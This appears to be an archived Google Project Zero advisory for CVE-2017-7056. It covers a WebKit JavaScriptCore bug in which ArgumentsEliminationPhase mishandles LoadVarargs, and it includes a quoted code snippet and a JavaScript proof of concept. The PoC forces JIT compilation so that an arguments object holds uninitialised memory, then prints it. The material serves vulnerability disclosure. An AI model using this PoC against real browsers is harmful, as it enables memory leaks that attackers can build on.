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WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling

WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling
Posted Jul 25, 2017
Authored by Google Security Research, lokihardt

WebKit JSC suffers from incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform.

tags | exploit
advisories | CVE-2017-7056
SHA-256 | edbf79d7990323abaf4336e6c20ceed747d95e780f4b02cba2012766bb547326

WebKit JSC ArgumentsEliminationPhase::transform Incorrect LoadVarargs Handling

Change Mirror Download
 WebKit: JSC: Incorrect LoadVarargs handling in ArgumentsEliminationPhase::transform 

CVE-2017-7056


Here is a snippet of ArgumentsEliminationPhase::transform
case LoadVarargs:
...
if (candidate->op() == PhantomNewArrayWithSpread || candidate->op() == PhantomSpread) {
...
if (argumentCountIncludingThis <= varargsData->limit) {
storeArgumentCountIncludingThis(argumentCountIncludingThis);
// store arguments
...
}

node->remove();
node->origin.exitOK = canExit;
break;
}

Whether or not the "argumentCountIncludingThis <= varargsData->limit" condition is satisfied, it removes the |node| variable and exits the switch statement. So in this case the condition is not satisfied, the arguments object created by the following code(CreateDirectArguments in the PoC) may have uninitialized values and length.

PoC:
const kArgsLength = 0x101;

let buggy = null;
function inlineFunc() {
if (arguments.length != kArgsLength) {
buggy = arguments;
}
}

class ClassForInine extends inlineFunc {
}

function sleep(ms) {
let start = new Date();
while (new Date() - start < ms);
}

function main() {
let args = new Array(kArgsLength);
args.fill(333 + 1);
args = args.join(', ');

let opt = new Function(`(() => {
new ClassForInine(${args});
})();`);

for (let i = 0; i < 0x100000; i++) {
opt();

if (i === 0x3000)
sleep(1000);

if (buggy) {
print('buggy.length: ' + buggy.length);
break;
}
}

for (let i = 0, n = buggy.length; i < n; i++) {
print(buggy[i]);
}
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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